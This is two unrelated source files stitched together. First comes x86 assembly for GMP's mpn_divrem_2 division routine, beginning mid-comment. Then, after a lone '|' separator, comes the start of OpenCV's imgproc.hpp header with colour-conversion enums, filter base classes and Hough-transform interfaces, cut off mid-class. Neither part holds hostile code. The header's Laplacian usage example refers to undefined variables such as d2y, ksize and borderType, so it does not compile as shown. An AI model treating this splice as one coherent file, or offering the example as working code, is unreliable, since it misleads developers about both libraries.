C * Perhaps keep ecx or esi in stack slot, freeing up a reg for q0.
C * The loop has not been carefully tuned. We should at the very least do
C some local insn swapping.
C * The code outside the main loop is what gcc generated. Clean up!
C * Clean up stack slot usage.
C INPUT PARAMETERS
C qp
C fn
C up_param
C un_param
C dp
C eax ebx ecx edx esi edi ebp
C cnt qp
ASM_START()
TEXT
ALIGN(16)
PROLOGUE(mpn_divrem_2)
push %ebp
push %edi
push %esi
push %ebx
sub $36, %esp
mov 68(%esp), %ecx C un
mov 72(%esp), %esi C dp
movl $0, 32(%esp)
lea 0(,%ecx,4), %edi
add 64(%esp), %edi C up
mov (%esi), %ebx
mov 4(%esi), %eax
mov %ebx, 20(%esp)
sub $12, %edi
mov %eax, 24(%esp)
mov %edi, 12(%esp)
mov 8(%edi), %ebx
mov 4(%edi), %ebp
cmp %eax, %ebx
jb L(8)
seta %dl
cmp 20(%esp), %ebp
setae %al
or %dl, %al
jne L(35)
L(8):
mov 60(%esp), %esi C fn
lea -3(%esi,%ecx), %edi
test %edi, %edi
js L(9)
mov 24(%esp), %edx
mov $-1, %esi
mov %esi, %eax
mov %esi, %ecx
not %edx
divl 24(%esp)
mov %eax, %esi
imul 24(%esp), %eax
mov %eax, (%esp)
mov %esi, %eax
mull 20(%esp)
mov (%esp), %eax
add 20(%esp), %eax
adc $0, %ecx
add %eax, %edx
adc $0, %ecx
mov %ecx, %eax
js L(32)
L(36): dec %esi
sub 24(%esp), %edx
sbb $0, %eax
jns L(36)
L(32):
mov %esi, 16(%esp) C di
mov %edi, %ecx C un
mov 12(%esp), %esi C up
mov 24(%esp), %eax
neg %eax
mov %eax, 4(%esp) C -d1
ALIGN(16)
nop
C eax ebx ecx edx esi edi ebp 0 4 8 12 16 20 24 28 32 56 60
C n2 un up n1 q0 -d1 di d0 d1 msl qp fn
L(loop):
mov 16(%esp), %eax C di
mul %ebx
add %ebp, %eax
mov %eax, (%esp) C q0
adc %ebx, %edx
mov %edx, %edi C q
imul 4(%esp), %edx
mov 20(%esp), %eax
lea (%edx, %ebp), %ebx C n1 -= ...
mul %edi
xor %ebp, %ebp
cmp 60(%esp), %ecx
jl L(19)
mov (%esi), %ebp
sub $4, %esi
L(19): sub 20(%esp), %ebp
sbb 24(%esp), %ebx
sub %eax, %ebp
sbb %edx, %ebx
mov 20(%esp), %eax C d1
inc %edi
xor %edx, %edx
cmp (%esp), %ebx
adc $-1, %edx C mask
add %edx, %edi C q--
and %edx, %eax C d0 or 0
and 24(%esp), %edx C d1 or 0
add %eax, %ebp
adc %edx, %ebx
cmp 24(%esp), %ebx
jae L(fix)
L(bck): mov 56(%esp), %edx
mov %edi, (%edx, %ecx, 4)
dec %ecx
jns L(loop)
L(9): mov 64(%esp), %esi C up
mov %ebp, (%esi)
mov %ebx, 4(%esi)
mov 32(%esp), %eax
add $36, %esp
pop %ebx
pop %esi
pop %edi
pop %ebp
ret
L(fix): seta %dl
cmp 20(%esp), %ebp
setae %al
or %dl, %al
je L(bck)
inc %edi
sub 20(%esp), %ebp
sbb 24(%esp), %ebx
jmp L(bck)
L(35): sub 20(%esp), %ebp
sbb 24(%esp), %ebx
movl $1, 32(%esp)
jmp L(8)
EPILOGUE()
|
/*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef __OPENCV_IMGPROC_HPP__
#define __OPENCV_IMGPROC_HPP__
#include "opencv2/core.hpp"
/*! \namespace cv
Namespace where all the C++ OpenCV functionality resides
*/
namespace cv
{
//! type of the kernel
enum { KERNEL_GENERAL = 0, // the kernel is generic. No any type of symmetry or other properties.
KERNEL_SYMMETRICAL = 1, // kernel[i] == kernel[ksize-i-1] , and the anchor is at the center
KERNEL_ASYMMETRICAL = 2, // kernel[i] == -kernel[ksize-i-1] , and the anchor is at the center
KERNEL_SMOOTH = 4, // all the kernel elements are non-negative and summed to 1
KERNEL_INTEGER = 8 // all the kernel coefficients are integer numbers
};
//! type of morphological operation
enum { MORPH_ERODE = 0,
MORPH_DILATE = 1,
MORPH_OPEN = 2,
MORPH_CLOSE = 3,
MORPH_GRADIENT = 4,
MORPH_TOPHAT = 5,
MORPH_BLACKHAT = 6
};
//! shape of the structuring element
enum { MORPH_RECT = 0,
MORPH_CROSS = 1,
MORPH_ELLIPSE = 2
};
//! interpolation algorithm
enum { INTER_NEAREST = 0, //!< nearest neighbor interpolation
INTER_LINEAR = 1, //!< bilinear interpolation
INTER_CUBIC = 2, //!< bicubic interpolation
INTER_AREA = 3, //!< area-based (or super) interpolation
INTER_LANCZOS4 = 4, //!< Lanczos interpolation over 8x8 neighborhood
INTER_MAX = 7, //!< mask for interpolation codes
WARP_FILL_OUTLIERS = 8,
WARP_INVERSE_MAP = 16
};
enum { INTER_BITS = 5,
INTER_BITS2 = INTER_BITS * 2,
INTER_TAB_SIZE = 1 << INTER_BITS,
INTER_TAB_SIZE2 = INTER_TAB_SIZE * INTER_TAB_SIZE
};
//! Distance types for Distance Transform and M-estimators
enum { DIST_USER = -1, // User defined distance
DIST_L1 = 1, // distance = |x1-x2| + |y1-y2|
DIST_L2 = 2, // the simple euclidean distance
DIST_C = 3, // distance = max(|x1-x2|,|y1-y2|)
DIST_L12 = 4, // L1-L2 metric: distance = 2(sqrt(1+x*x/2) - 1))
DIST_FAIR = 5, // distance = c^2(|x|/c-log(1+|x|/c)), c = 1.3998
DIST_WELSCH = 6, // distance = c^2/2(1-exp(-(x/c)^2)), c = 2.9846
DIST_HUBER = 7 // distance = |x|<c ? x^2/2 : c(|x|-c/2), c=1.345
};
//! Mask size for distance transform
enum { DIST_MASK_3 = 3,
DIST_MASK_5 = 5,
DIST_MASK_PRECISE = 0
};
//! type of the threshold operation
enum { THRESH_BINARY = 0, // value = value > threshold ? max_value : 0
THRESH_BINARY_INV = 1, // value = value > threshold ? 0 : max_value
THRESH_TRUNC = 2, // value = value > threshold ? threshold : value
THRESH_TOZERO = 3, // value = value > threshold ? value : 0
THRESH_TOZERO_INV = 4, // value = value > threshold ? 0 : value
THRESH_MASK = 7,
THRESH_OTSU = 8 // use Otsu algorithm to choose the optimal threshold value
};
//! adaptive threshold algorithm
enum { ADAPTIVE_THRESH_MEAN_C = 0,
ADAPTIVE_THRESH_GAUSSIAN_C = 1
};
enum { PROJ_SPHERICAL_ORTHO = 0,
PROJ_SPHERICAL_EQRECT = 1
};
//! class of the pixel in GrabCut algorithm
enum { GC_BGD = 0, //!< background
GC_FGD = 1, //!< foreground
GC_PR_BGD = 2, //!< most probably background
GC_PR_FGD = 3 //!< most probably foreground
};
//! GrabCut algorithm flags
enum { GC_INIT_WITH_RECT = 0,
GC_INIT_WITH_MASK = 1,
GC_EVAL = 2
};
//! distanceTransform algorithm flags
enum { DIST_LABEL_CCOMP = 0,
DIST_LABEL_PIXEL = 1
};
//! floodfill algorithm flags
enum { FLOODFILL_FIXED_RANGE = 1 << 16,
FLOODFILL_MASK_ONLY = 1 << 17
};
//! type of the template matching operation
enum { TM_SQDIFF = 0,
TM_SQDIFF_NORMED = 1,
TM_CCORR = 2,
TM_CCORR_NORMED = 3,
TM_CCOEFF = 4,
TM_CCOEFF_NORMED = 5
};
//! connected components algorithm output formats
enum { CC_STAT_LEFT = 0,
CC_STAT_TOP = 1,
CC_STAT_WIDTH = 2,
CC_STAT_HEIGHT = 3,
CC_STAT_AREA = 4,
CC_STAT_MAX = 5
};
//! mode of the contour retrieval algorithm
enum { RETR_EXTERNAL = 0, //!< retrieve only the most external (top-level) contours
RETR_LIST = 1, //!< retrieve all the contours without any hierarchical information
RETR_CCOMP = 2, //!< retrieve the connected components (that can possibly be nested)
RETR_TREE = 3, //!< retrieve all the contours and the whole hierarchy
RETR_FLOODFILL = 4
};
//! the contour approximation algorithm
enum { CHAIN_APPROX_NONE = 1,
CHAIN_APPROX_SIMPLE = 2,
CHAIN_APPROX_TC89_L1 = 3,
CHAIN_APPROX_TC89_KCOS = 4
};
//! Variants of a Hough transform
enum { HOUGH_STANDARD = 0,
HOUGH_PROBABILISTIC = 1,
HOUGH_MULTI_SCALE = 2,
HOUGH_GRADIENT = 3
};
//! Variants of Line Segment Detector
enum { LSD_REFINE_NONE = 0,
LSD_REFINE_STD = 1,
LSD_REFINE_ADV = 2
};
//! Histogram comparison methods
enum { HISTCMP_CORREL = 0,
HISTCMP_CHISQR = 1,
HISTCMP_INTERSECT = 2,
HISTCMP_BHATTACHARYYA = 3,
HISTCMP_HELLINGER = HISTCMP_BHATTACHARYYA,
HISTCMP_CHISQR_ALT = 4
};
//! the color conversion code
enum { COLOR_BGR2BGRA = 0,
COLOR_RGB2RGBA = COLOR_BGR2BGRA,
COLOR_BGRA2BGR = 1,
COLOR_RGBA2RGB = COLOR_BGRA2BGR,
COLOR_BGR2RGBA = 2,
COLOR_RGB2BGRA = COLOR_BGR2RGBA,
COLOR_RGBA2BGR = 3,
COLOR_BGRA2RGB = COLOR_RGBA2BGR,
COLOR_BGR2RGB = 4,
COLOR_RGB2BGR = COLOR_BGR2RGB,
COLOR_BGRA2RGBA = 5,
COLOR_RGBA2BGRA = COLOR_BGRA2RGBA,
COLOR_BGR2GRAY = 6,
COLOR_RGB2GRAY = 7,
COLOR_GRAY2BGR = 8,
COLOR_GRAY2RGB = COLOR_GRAY2BGR,
COLOR_GRAY2BGRA = 9,
COLOR_GRAY2RGBA = COLOR_GRAY2BGRA,
COLOR_BGRA2GRAY = 10,
COLOR_RGBA2GRAY = 11,
COLOR_BGR2BGR565 = 12,
COLOR_RGB2BGR565 = 13,
COLOR_BGR5652BGR = 14,
COLOR_BGR5652RGB = 15,
COLOR_BGRA2BGR565 = 16,
COLOR_RGBA2BGR565 = 17,
COLOR_BGR5652BGRA = 18,
COLOR_BGR5652RGBA = 19,
COLOR_GRAY2BGR565 = 20,
COLOR_BGR5652GRAY = 21,
COLOR_BGR2BGR555 = 22,
COLOR_RGB2BGR555 = 23,
COLOR_BGR5552BGR = 24,
COLOR_BGR5552RGB = 25,
COLOR_BGRA2BGR555 = 26,
COLOR_RGBA2BGR555 = 27,
COLOR_BGR5552BGRA = 28,
COLOR_BGR5552RGBA = 29,
COLOR_GRAY2BGR555 = 30,
COLOR_BGR5552GRAY = 31,
COLOR_BGR2XYZ = 32,
COLOR_RGB2XYZ = 33,
COLOR_XYZ2BGR = 34,
COLOR_XYZ2RGB = 35,
COLOR_BGR2YCrCb = 36,
COLOR_RGB2YCrCb = 37,
COLOR_YCrCb2BGR = 38,
COLOR_YCrCb2RGB = 39,
COLOR_BGR2HSV = 40,
COLOR_RGB2HSV = 41,
COLOR_BGR2Lab = 44,
COLOR_RGB2Lab = 45,
COLOR_BGR2Luv = 50,
COLOR_RGB2Luv = 51,
COLOR_BGR2HLS = 52,
COLOR_RGB2HLS = 53,
COLOR_HSV2BGR = 54,
COLOR_HSV2RGB = 55,
COLOR_Lab2BGR = 56,
COLOR_Lab2RGB = 57,
COLOR_Luv2BGR = 58,
COLOR_Luv2RGB = 59,
COLOR_HLS2BGR = 60,
COLOR_HLS2RGB = 61,
COLOR_BGR2HSV_FULL = 66,
COLOR_RGB2HSV_FULL = 67,
COLOR_BGR2HLS_FULL = 68,
COLOR_RGB2HLS_FULL = 69,
COLOR_HSV2BGR_FULL = 70,
COLOR_HSV2RGB_FULL = 71,
COLOR_HLS2BGR_FULL = 72,
COLOR_HLS2RGB_FULL = 73,
COLOR_LBGR2Lab = 74,
COLOR_LRGB2Lab = 75,
COLOR_LBGR2Luv = 76,
COLOR_LRGB2Luv = 77,
COLOR_Lab2LBGR = 78,
COLOR_Lab2LRGB = 79,
COLOR_Luv2LBGR = 80,
COLOR_Luv2LRGB = 81,
COLOR_BGR2YUV = 82,
COLOR_RGB2YUV = 83,
COLOR_YUV2BGR = 84,
COLOR_YUV2RGB = 85,
// YUV 4:2:0 family to RGB
COLOR_YUV2RGB_NV12 = 90,
COLOR_YUV2BGR_NV12 = 91,
COLOR_YUV2RGB_NV21 = 92,
COLOR_YUV2BGR_NV21 = 93,
COLOR_YUV420sp2RGB = COLOR_YUV2RGB_NV21,
COLOR_YUV420sp2BGR = COLOR_YUV2BGR_NV21,
COLOR_YUV2RGBA_NV12 = 94,
COLOR_YUV2BGRA_NV12 = 95,
COLOR_YUV2RGBA_NV21 = 96,
COLOR_YUV2BGRA_NV21 = 97,
COLOR_YUV420sp2RGBA = COLOR_YUV2RGBA_NV21,
COLOR_YUV420sp2BGRA = COLOR_YUV2BGRA_NV21,
COLOR_YUV2RGB_YV12 = 98,
COLOR_YUV2BGR_YV12 = 99,
COLOR_YUV2RGB_IYUV = 100,
COLOR_YUV2BGR_IYUV = 101,
COLOR_YUV2RGB_I420 = COLOR_YUV2RGB_IYUV,
COLOR_YUV2BGR_I420 = COLOR_YUV2BGR_IYUV,
COLOR_YUV420p2RGB = COLOR_YUV2RGB_YV12,
COLOR_YUV420p2BGR = COLOR_YUV2BGR_YV12,
COLOR_YUV2RGBA_YV12 = 102,
COLOR_YUV2BGRA_YV12 = 103,
COLOR_YUV2RGBA_IYUV = 104,
COLOR_YUV2BGRA_IYUV = 105,
COLOR_YUV2RGBA_I420 = COLOR_YUV2RGBA_IYUV,
COLOR_YUV2BGRA_I420 = COLOR_YUV2BGRA_IYUV,
COLOR_YUV420p2RGBA = COLOR_YUV2RGBA_YV12,
COLOR_YUV420p2BGRA = COLOR_YUV2BGRA_YV12,
COLOR_YUV2GRAY_420 = 106,
COLOR_YUV2GRAY_NV21 = COLOR_YUV2GRAY_420,
COLOR_YUV2GRAY_NV12 = COLOR_YUV2GRAY_420,
COLOR_YUV2GRAY_YV12 = COLOR_YUV2GRAY_420,
COLOR_YUV2GRAY_IYUV = COLOR_YUV2GRAY_420,
COLOR_YUV2GRAY_I420 = COLOR_YUV2GRAY_420,
COLOR_YUV420sp2GRAY = COLOR_YUV2GRAY_420,
COLOR_YUV420p2GRAY = COLOR_YUV2GRAY_420,
// YUV 4:2:2 family to RGB
COLOR_YUV2RGB_UYVY = 107,
COLOR_YUV2BGR_UYVY = 108,
//COLOR_YUV2RGB_VYUY = 109,
//COLOR_YUV2BGR_VYUY = 110,
COLOR_YUV2RGB_Y422 = COLOR_YUV2RGB_UYVY,
COLOR_YUV2BGR_Y422 = COLOR_YUV2BGR_UYVY,
COLOR_YUV2RGB_UYNV = COLOR_YUV2RGB_UYVY,
COLOR_YUV2BGR_UYNV = COLOR_YUV2BGR_UYVY,
COLOR_YUV2RGBA_UYVY = 111,
COLOR_YUV2BGRA_UYVY = 112,
//COLOR_YUV2RGBA_VYUY = 113,
//COLOR_YUV2BGRA_VYUY = 114,
COLOR_YUV2RGBA_Y422 = COLOR_YUV2RGBA_UYVY,
COLOR_YUV2BGRA_Y422 = COLOR_YUV2BGRA_UYVY,
COLOR_YUV2RGBA_UYNV = COLOR_YUV2RGBA_UYVY,
COLOR_YUV2BGRA_UYNV = COLOR_YUV2BGRA_UYVY,
COLOR_YUV2RGB_YUY2 = 115,
COLOR_YUV2BGR_YUY2 = 116,
COLOR_YUV2RGB_YVYU = 117,
COLOR_YUV2BGR_YVYU = 118,
COLOR_YUV2RGB_YUYV = COLOR_YUV2RGB_YUY2,
COLOR_YUV2BGR_YUYV = COLOR_YUV2BGR_YUY2,
COLOR_YUV2RGB_YUNV = COLOR_YUV2RGB_YUY2,
COLOR_YUV2BGR_YUNV = COLOR_YUV2BGR_YUY2,
COLOR_YUV2RGBA_YUY2 = 119,
COLOR_YUV2BGRA_YUY2 = 120,
COLOR_YUV2RGBA_YVYU = 121,
COLOR_YUV2BGRA_YVYU = 122,
COLOR_YUV2RGBA_YUYV = COLOR_YUV2RGBA_YUY2,
COLOR_YUV2BGRA_YUYV = COLOR_YUV2BGRA_YUY2,
COLOR_YUV2RGBA_YUNV = COLOR_YUV2RGBA_YUY2,
COLOR_YUV2BGRA_YUNV = COLOR_YUV2BGRA_YUY2,
COLOR_YUV2GRAY_UYVY = 123,
COLOR_YUV2GRAY_YUY2 = 124,
//CV_YUV2GRAY_VYUY = CV_YUV2GRAY_UYVY,
COLOR_YUV2GRAY_Y422 = COLOR_YUV2GRAY_UYVY,
COLOR_YUV2GRAY_UYNV = COLOR_YUV2GRAY_UYVY,
COLOR_YUV2GRAY_YVYU = COLOR_YUV2GRAY_YUY2,
COLOR_YUV2GRAY_YUYV = COLOR_YUV2GRAY_YUY2,
COLOR_YUV2GRAY_YUNV = COLOR_YUV2GRAY_YUY2,
// alpha premultiplication
COLOR_RGBA2mRGBA = 125,
COLOR_mRGBA2RGBA = 126,
// RGB to YUV 4:2:0 family
COLOR_RGB2YUV_I420 = 127,
COLOR_BGR2YUV_I420 = 128,
COLOR_RGB2YUV_IYUV = COLOR_RGB2YUV_I420,
COLOR_BGR2YUV_IYUV = COLOR_BGR2YUV_I420,
COLOR_RGBA2YUV_I420 = 129,
COLOR_BGRA2YUV_I420 = 130,
COLOR_RGBA2YUV_IYUV = COLOR_RGBA2YUV_I420,
COLOR_BGRA2YUV_IYUV = COLOR_BGRA2YUV_I420,
COLOR_RGB2YUV_YV12 = 131,
COLOR_BGR2YUV_YV12 = 132,
COLOR_RGBA2YUV_YV12 = 133,
COLOR_BGRA2YUV_YV12 = 134,
// Demosaicing
COLOR_BayerBG2BGR = 46,
COLOR_BayerGB2BGR = 47,
COLOR_BayerRG2BGR = 48,
COLOR_BayerGR2BGR = 49,
COLOR_BayerBG2RGB = COLOR_BayerRG2BGR,
COLOR_BayerGB2RGB = COLOR_BayerGR2BGR,
COLOR_BayerRG2RGB = COLOR_BayerBG2BGR,
COLOR_BayerGR2RGB = COLOR_BayerGB2BGR,
COLOR_BayerBG2GRAY = 86,
COLOR_BayerGB2GRAY = 87,
COLOR_BayerRG2GRAY = 88,
COLOR_BayerGR2GRAY = 89,
// Demosaicing using Variable Number of Gradients
COLOR_BayerBG2BGR_VNG = 62,
COLOR_BayerGB2BGR_VNG = 63,
COLOR_BayerRG2BGR_VNG = 64,
COLOR_BayerGR2BGR_VNG = 65,
COLOR_BayerBG2RGB_VNG = COLOR_BayerRG2BGR_VNG,
COLOR_BayerGB2RGB_VNG = COLOR_BayerGR2BGR_VNG,
COLOR_BayerRG2RGB_VNG = COLOR_BayerBG2BGR_VNG,
COLOR_BayerGR2RGB_VNG = COLOR_BayerGB2BGR_VNG,
// Edge-Aware Demosaicing
COLOR_BayerBG2BGR_EA = 135,
COLOR_BayerGB2BGR_EA = 136,
COLOR_BayerRG2BGR_EA = 137,
COLOR_BayerGR2BGR_EA = 138,
COLOR_BayerBG2RGB_EA = COLOR_BayerRG2BGR_EA,
COLOR_BayerGB2RGB_EA = COLOR_BayerGR2BGR_EA,
COLOR_BayerRG2RGB_EA = COLOR_BayerBG2BGR_EA,
COLOR_BayerGR2RGB_EA = COLOR_BayerGB2BGR_EA,
COLOR_COLORCVT_MAX = 139
};
//! types of intersection between rectangles
enum { INTERSECT_NONE = 0,
INTERSECT_PARTIAL = 1,
INTERSECT_FULL = 2
};
/*!
The Base Class for 1D or Row-wise Filters
This is the base class for linear or non-linear filters that process 1D data.
In particular, such filters are used for the "horizontal" filtering parts in separable filters.
Several functions in OpenCV return Ptr<BaseRowFilter> for the specific types of filters,
and those pointers can be used directly or within cv::FilterEngine.
*/
class CV_EXPORTS BaseRowFilter
{
public:
//! the default constructor
BaseRowFilter();
//! the destructor
virtual ~BaseRowFilter();
//! the filtering operator. Must be overrided in the derived classes. The horizontal border interpolation is done outside of the class.
virtual void operator()(const uchar* src, uchar* dst, int width, int cn) = 0;
int ksize;
int anchor;
};
/*!
The Base Class for Column-wise Filters
This is the base class for linear or non-linear filters that process columns of 2D arrays.
Such filters are used for the "vertical" filtering parts in separable filters.
Several functions in OpenCV return Ptr<BaseColumnFilter> for the specific types of filters,
and those pointers can be used directly or within cv::FilterEngine.
Unlike cv::BaseRowFilter, cv::BaseColumnFilter may have some context information,
i.e. box filter keeps the sliding sum of elements. To reset the state BaseColumnFilter::reset()
must be called (e.g. the method is called by cv::FilterEngine)
*/
class CV_EXPORTS BaseColumnFilter
{
public:
//! the default constructor
BaseColumnFilter();
//! the destructor
virtual ~BaseColumnFilter();
//! the filtering operator. Must be overrided in the derived classes. The vertical border interpolation is done outside of the class.
virtual void operator()(const uchar** src, uchar* dst, int dststep, int dstcount, int width) = 0;
//! resets the internal buffers, if any
virtual void reset();
int ksize;
int anchor;
};
/*!
The Base Class for Non-Separable 2D Filters.
This is the base class for linear or non-linear 2D filters.
Several functions in OpenCV return Ptr<BaseFilter> for the specific types of filters,
and those pointers can be used directly or within cv::FilterEngine.
Similar to cv::BaseColumnFilter, the class may have some context information,
that should be reset using BaseFilter::reset() method before processing the new array.
*/
class CV_EXPORTS BaseFilter
{
public:
//! the default constructor
BaseFilter();
//! the destructor
virtual ~BaseFilter();
//! the filtering operator. The horizontal and the vertical border interpolation is done outside of the class.
virtual void operator()(const uchar** src, uchar* dst, int dststep, int dstcount, int width, int cn) = 0;
//! resets the internal buffers, if any
virtual void reset();
Size ksize;
Point anchor;
};
/*!
The Main Class for Image Filtering.
The class can be used to apply an arbitrary filtering operation to an image.
It contains all the necessary intermediate buffers, it computes extrapolated values
of the "virtual" pixels outside of the image etc.
Pointers to the initialized cv::FilterEngine instances
are returned by various OpenCV functions, such as cv::createSeparableLinearFilter(),
cv::createLinearFilter(), cv::createGaussianFilter(), cv::createDerivFilter(),
cv::createBoxFilter() and cv::createMorphologyFilter().
Using the class you can process large images by parts and build complex pipelines
that include filtering as some of the stages. If all you need is to apply some pre-defined
filtering operation, you may use cv::filter2D(), cv::erode(), cv::dilate() etc.
functions that create FilterEngine internally.
Here is the example on how to use the class to implement Laplacian operator, which is the sum of
second-order derivatives. More complex variant for different types is implemented in cv::Laplacian().
\code
void laplace_f(const Mat& src, Mat& dst)
{
CV_Assert( src.type() == CV_32F );
// make sure the destination array has the proper size and type
dst.create(src.size(), src.type());
// get the derivative and smooth kernels for d2I/dx2.
// for d2I/dy2 we could use the same kernels, just swapped
Mat kd, ks;
getSobelKernels( kd, ks, 2, 0, ksize, false, ktype );
// let's process 10 source rows at once
int DELTA = std::min(10, src.rows);
Ptr<FilterEngine> Fxx = createSeparableLinearFilter(src.type(),
dst.type(), kd, ks, Point(-1,-1), 0, borderType, borderType, Scalar() );
Ptr<FilterEngine> Fyy = createSeparableLinearFilter(src.type(),
dst.type(), ks, kd, Point(-1,-1), 0, borderType, borderType, Scalar() );
int y = Fxx->start(src), dsty = 0, dy = 0;
Fyy->start(src);
const uchar* sptr = src.data + y*src.step;
// allocate the buffers for the spatial image derivatives;
// the buffers need to have more than DELTA rows, because at the
// last iteration the output may take max(kd.rows-1,ks.rows-1)
// rows more than the input.
Mat Ixx( DELTA + kd.rows - 1, src.cols, dst.type() );
Mat Iyy( DELTA + kd.rows - 1, src.cols, dst.type() );
// inside the loop we always pass DELTA rows to the filter
// (note that the "proceed" method takes care of possibe overflow, since
// it was given the actual image height in the "start" method)
// on output we can get:
// * < DELTA rows (the initial buffer accumulation stage)
// * = DELTA rows (settled state in the middle)
// * > DELTA rows (then the input image is over, but we generate
// "virtual" rows using the border mode and filter them)
// this variable number of output rows is dy.
// dsty is the current output row.
// sptr is the pointer to the first input row in the portion to process
for( ; dsty < dst.rows; sptr += DELTA*src.step, dsty += dy )
{
Fxx->proceed( sptr, (int)src.step, DELTA, Ixx.data, (int)Ixx.step );
dy = Fyy->proceed( sptr, (int)src.step, DELTA, d2y.data, (int)Iyy.step );
if( dy > 0 )
{
Mat dstripe = dst.rowRange(dsty, dsty + dy);
add(Ixx.rowRange(0, dy), Iyy.rowRange(0, dy), dstripe);
}
}
}
\endcode
*/
class CV_EXPORTS FilterEngine
{
public:
//! the default constructor
FilterEngine();
//! the full constructor. Either _filter2D or both _rowFilter and _columnFilter must be non-empty.
FilterEngine(const Ptr<BaseFilter>& _filter2D,
const Ptr<BaseRowFilter>& _rowFilter,
const Ptr<BaseColumnFilter>& _columnFilter,
int srcType, int dstType, int bufType,
int _rowBorderType = BORDER_REPLICATE,
int _columnBorderType = -1,
const Scalar& _borderValue = Scalar());
//! the destructor
virtual ~FilterEngine();
//! reinitializes the engine. The previously assigned filters are released.
void init(const Ptr<BaseFilter>& _filter2D,
const Ptr<BaseRowFilter>& _rowFilter,
const Ptr<BaseColumnFilter>& _columnFilter,
int srcType, int dstType, int bufType,
int _rowBorderType = BORDER_REPLICATE,
int _columnBorderType = -1,
const Scalar& _borderValue = Scalar());
//! starts filtering of the specified ROI of an image of size wholeSize.
virtual int start(Size wholeSize, Rect roi, int maxBufRows = -1);
//! starts filtering of the specified ROI of the specified image.
virtual int start(const Mat& src, const Rect& srcRoi = Rect(0,0,-1,-1),
bool isolated = false, int maxBufRows = -1);
//! processes the next srcCount rows of the image.
virtual int proceed(const uchar* src, int srcStep, int srcCount,
uchar* dst, int dstStep);
//! applies filter to the specified ROI of the image. if srcRoi=(0,0,-1,-1), the whole image is filtered.
virtual void apply( const Mat& src, Mat& dst,
const Rect& srcRoi = Rect(0,0,-1,-1),
Point dstOfs = Point(0,0),
bool isolated = false);
//! returns true if the filter is separable
bool isSeparable() const { return !filter2D; }
//! returns the number
int remainingInputRows() const;
int remainingOutputRows() const;
int srcType;
int dstType;
int bufType;
Size ksize;
Point anchor;
int maxWidth;
Size wholeSize;
Rect roi;
int dx1;
int dx2;
int rowBorderType;
int columnBorderType;
std::vector<int> borderTab;
int borderElemSize;
std::vector<uchar> ringBuf;
std::vector<uchar> srcRow;
std::vector<uchar> constBorderValue;
std::vector<uchar> constBorderRow;
int bufStep;
int startY;
int startY0;
int endY;
int rowCount;
int dstY;
std::vector<uchar*> rows;
Ptr<BaseFilter> filter2D;
Ptr<BaseRowFilter> rowFilter;
Ptr<BaseColumnFilter> columnFilter;
};
//! finds arbitrary template in the grayscale image using Generalized Hough Transform
class CV_EXPORTS GeneralizedHough : public Algorithm
{
public:
//! set template to search
virtual void setTemplate(InputArray templ, Point templCenter = Point(-1, -1)) = 0;
virtual void setTemplate(InputArray edges, InputArray dx, InputArray dy, Point templCenter = Point(-1, -1)) = 0;
//! find template on image
virtual void detect(InputArray image, OutputArray positions, OutputArray votes = noArray()) = 0;
virtual void detect(InputArray edges, InputArray dx, InputArray dy, OutputArray positions, OutputArray votes = noArray()) = 0;
//! Canny low threshold.
virtual void setCannyLowThresh(int cannyLowThresh) = 0;
virtual int getCannyLowThresh() const = 0;
//! Canny high threshold.
virtual void setCannyHighThresh(int cannyHighThresh) = 0;
virtual int getCannyHighThresh() const = 0;
//! Minimum distance between the centers of the detected objects.
virtual void setMinDist(double minDist) = 0;
virtual double getMinDist() const = 0;
//! Inverse ratio of the accumulator resolution to the image resolution.
virtual void setDp(double dp) = 0;
virtual double getDp() const = 0;
//! Maximal size of inner buffers.
virtual void setMaxBufferSize(int maxBufferSize) = 0;
virtual int getMaxBufferSize() const = 0;
};
//! Ballard, D.H. (1981). Generalizing the Hough transform to detect arbitrary shapes. Pattern Recognition 13 (2): 111-122.
//! Detects position only without traslation and rotation
class CV_EXPORTS GeneralizedHoughBallard : public GeneralizedHough
{
public:
//! R-Table levels.
virtual void setLevels(int levels) = 0;
virtual int getLevels() const = 0;
//! The accumulator threshold for the template centers at the detection stage. The smaller it is, the more false positions may be detected.
virtual void setVotesThreshold(int votesThreshold) = 0;
virtual int getVotesThreshold() const = 0;
};
//! Guil, N., González-Linares, J.M. and Zapata, E.L. (1999). Bidimensional shape detection using an invariant approach. Pattern Recognition 32 (6): 1025-1038.
//! Detects position, traslation and rotation
class CV_EXPORTS GeneralizedHoughGuil : public GeneralizedHough
{
public:
//! Angle difference in degrees between two points in feature.
virtual void setXi(double xi) = 0;
virtual double getXi() const = 0;
//! Feature table levels.
virtual void setLevels(int levels) = 0;
virtual int getLevels() const = 0;
//! Maximal difference between angles that treated as equal.
virtual void setAngleEpsilon(double angleEpsilon) = 0;
virtual double getAngleEpsilon() const = 0;
//! Minimal rotation angle to detect in degrees.
virtual void setMinAngle(double minAngle) = 0;
virtual double getMinAngle() const = 0;
//! Maximal rotation angle to detect in degrees.
virtual void setMaxAngle(double maxAngle) = 0;
virtual double getMaxAngle() const = 0;
//! Angle step in degrees.
virtual void setAngleStep(double angleStep) = 0;
virtual double getAngleStep() const = 0;
//! Angle votes threshold.
virtual void setAngleThresh(int angleThresh) = 0;
virtual int getAngleThresh() const = 0;
//! Minimal scale to detect.
virtual void setMinScale(double minScale) = 0;
virtual double getMinScale() const = 0;
//! Maximal scale to detect.
